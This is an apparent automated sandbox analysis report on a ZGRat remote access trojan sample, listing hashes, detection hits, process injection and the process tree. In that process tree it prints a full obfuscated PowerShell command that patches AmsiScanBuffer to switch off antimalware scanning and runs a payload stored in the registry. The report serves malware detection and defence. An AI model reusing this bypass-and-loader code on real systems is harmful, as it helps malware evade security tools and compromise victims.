zgrat | dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e

Analysis

max time kernel
75s
max time network
70s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
20/03/2024, 09:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Size 3.1MB
Sample240320-ldly2ade33
SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
MD5 a67169c874028b84c830f38235fc7d3c
SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
SSDEEP 98304:J9B5qENyycznpvioeTxDQxpsn2gvZ+w2UX:zBn4npvigqnTvZl2UX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

zgrat rat

Malware Config

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral2/memory/3520-3-0x0000000004E90000-0x00000000051A2000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-6-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-7-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-9-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-11-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-13-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-15-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-17-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-19-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-21-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-23-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-25-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-27-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-29-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-31-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-33-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-35-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-37-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-39-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-41-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-43-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-45-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-47-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-49-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-51-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-53-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-55-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-57-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-59-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-61-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-63-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-65-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-67-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1
behavioral2/memory/3520-69-0x0000000004E90000-0x000000000519C000-memory.dmp	family_zgrat_v1

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3520 created 2164	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	76
PID 4644 created 616	4644	powershell.EXE	5
PID 3520 created 2164	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	76

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 2 IoCs

pid	Process
1660	$7726044388e9d2
4612	$7726044388e9d2

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 3520 set thread context of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 4644 set thread context of 2536	4644	powershell.EXE	94
PID 3520 set thread context of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
4644	powershell.EXE
4644	powershell.EXE
4644	powershell.EXE
2536	dllhost.exe
2536	dllhost.exe
2536	dllhost.exe
2536	dllhost.exe
3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Token: SeDebugPrivilege	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Token: SeDebugPrivilege	4644	powershell.EXE
Token: SeDebugPrivilege	4644	powershell.EXE
Token: SeDebugPrivilege	2536	dllhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 2320	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	89
PID 3520 wrote to memory of 1660	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	90
PID 3520 wrote to memory of 1660	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	90
PID 3520 wrote to memory of 1660	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	90
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 4644 wrote to memory of 2536	4644	powershell.EXE	94
PID 2536 wrote to memory of 616	2536	dllhost.exe	5
PID 2536 wrote to memory of 672	2536	dllhost.exe	7
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 2536 wrote to memory of 968	2536	dllhost.exe	12
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 2536 wrote to memory of 64	2536	dllhost.exe	13
PID 2536 wrote to memory of 744	2536	dllhost.exe	14
PID 2536 wrote to memory of 724	2536	dllhost.exe	16
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 2536 wrote to memory of 1104	2536	dllhost.exe	17
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 3520 wrote to memory of 4612	3520	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	100
PID 2536 wrote to memory of 1112	2536	dllhost.exe	18
PID 672 wrote to memory of 2760	672	lsass.exe	50
PID 2536 wrote to memory of 1120	2536	dllhost.exe	19
PID 2536 wrote to memory of 1188	2536	dllhost.exe	20
PID 2536 wrote to memory of 1232	2536	dllhost.exe	21
PID 2536 wrote to memory of 1324	2536	dllhost.exe	22
PID 1324 wrote to memory of 4344	1324	svchost.exe	105
PID 1324 wrote to memory of 4344	1324	svchost.exe	105
PID 2536 wrote to memory of 1332	2536	dllhost.exe	23
PID 2536 wrote to memory of 1436	2536	dllhost.exe	24
PID 1324 wrote to memory of 3720	1324	svchost.exe	106
PID 1324 wrote to memory of 3720	1324	svchost.exe	106
PID 2536 wrote to memory of 1488	2536	dllhost.exe	25
PID 1324 wrote to memory of 2568	1324	svchost.exe	107
PID 1324 wrote to memory of 2568	1324	svchost.exe	107
PID 2536 wrote to memory of 1504	2536	dllhost.exe	26
PID 2536 wrote to memory of 1520	2536	dllhost.exe	27
PID 2536 wrote to memory of 1636	2536	dllhost.exe	28
PID 2536 wrote to memory of 1668	2536	dllhost.exe	29
PID 2536 wrote to memory of 1716	2536	dllhost.exe	30
PID 2536 wrote to memory of 1728	2536	dllhost.exe	31
PID 2536 wrote to memory of 1820	2536	dllhost.exe	32
PID 2536 wrote to memory of 1964	2536	dllhost.exe	33
PID 2536 wrote to memory of 1980	2536	dllhost.exe	34

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:64
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{1a5f1bab-ff8c-4697-a288-0a0b69d6dc5b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2536

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:heojAGJJXsdQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ZmfTGKDeZyfusf,[Parameter(Position=1)][Type]$nonueKqvOp)$ERjeuDMYxoD=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'l'+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+'l'+'e'+''+'g'+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+'y'+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+'n'+[Char](115)+''+[Char](105)+'C'+'l'+'ass'+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$ERjeuDMYxoD.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+'a'+[Char](108)+''+'N'+''+'a'+'me,'+[Char](72)+''+'i'+''+[Char](100)+'e'+'B'+''+'y'+'S'+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$ZmfTGKDeZyfusf).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+'a'+'g'+''+[Char](101)+'d');$ERjeuDMYxoD.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+'e',''+[Char](80)+''+'u'+''+[Char](98)+'li'+[Char](99)+''+[Char](44)+'H'+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+'N'+'ewS'+[Char](108)+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'ual',$nonueKqvOp,$ZmfTGKDeZyfusf).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+''+'d'+'');Write-Output $ERjeuDMYxoD.CreateType();}$QZgqBeowLGbSJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'st'+'e'+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+[Char](77)+'i'+'c'+''+[Char](114)+''+'o'+'so'+[Char](102)+''+[Char](116)+''+'.'+'W'+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+'Unsa'+[Char](102)+''+[Char](101)+'N'+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+'e'+[Char](116)+''+'h'+''+'o'+''+[Char](100)+''+'s'+'');$jnUAhEWcjhbLAV=$QZgqBeowLGbSJ.GetMethod(''+'G'+''+'e'+''+[Char](116)+'P'+'r'+'oc'+[Char](65)+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+[Char](116)+'a'+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qRZJRxAvfBDKNsNgEZx=heojAGJJXsdQ @([String])([IntPtr]);$lEfNDOcyfzCSeDELlcNsIr=heojAGJJXsdQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$nVMOZwddecT=$QZgqBeowLGbSJ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+'eH'+[Char](97)+'n'+[Char](100)+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+'32'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$TUlIkJEojGlvrP=$jnUAhEWcjhbLAV.Invoke($Null,@([Object]$nVMOZwddecT,[Object](''+[Char](76)+'o'+[Char](97)+'dL'+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+''+[Char](121)+''+'A'+'')));$XQfRSFKNXIowFZZwy=$jnUAhEWcjhbLAV.Invoke($Null,@([Object]$nVMOZwddecT,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+'lP'+[Char](114)+''+'o'+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$NAmEWiF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($TUlIkJEojGlvrP,$qRZJRxAvfBDKNsNgEZx).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'ll');$yxalkBwIYfVAmGkAQ=$jnUAhEWcjhbLAV.Invoke($Null,@([Object]$NAmEWiF,[Object](''+[Char](65)+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+'er')));$qnzSmRZWQT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XQfRSFKNXIowFZZwy,$lEfNDOcyfzCSeDELlcNsIr).Invoke($yxalkBwIYfVAmGkAQ,[uint32]8,4,[ref]$qnzSmRZWQT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yxalkBwIYfVAmGkAQ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XQfRSFKNXIowFZZwy,$lEfNDOcyfzCSeDELlcNsIr).Invoke($yxalkBwIYfVAmGkAQ,[uint32]8,0x20,[ref]$qnzSmRZWQT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+'AR'+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+''+'s'+'t'+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1324
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4520
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3644
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1304
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4344
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3720
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2568

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1668

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:1052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2088

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2760

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2164
- C:\Users\Admin\AppData\Local\Temp\$7726044388e9d2
  "C:\Users\Admin\AppData\Local\Temp\$7726044388e9d2"
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Users\Admin\AppData\Local\Temp\$7726044388e9d2
  "C:\Users\Admin\AppData\Local\Temp\$7726044388e9d2"
  2⤵
  - Executes dropped EXE
  PID:4612

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
  "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
  2⤵
  PID:2320

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

$7726044388e9d2

Path C:\Users\Admin\AppData\Local\Temp\$7726044388e9d2
Size 3.1MB
SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
MD5 a67169c874028b84c830f38235fc7d3c
SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
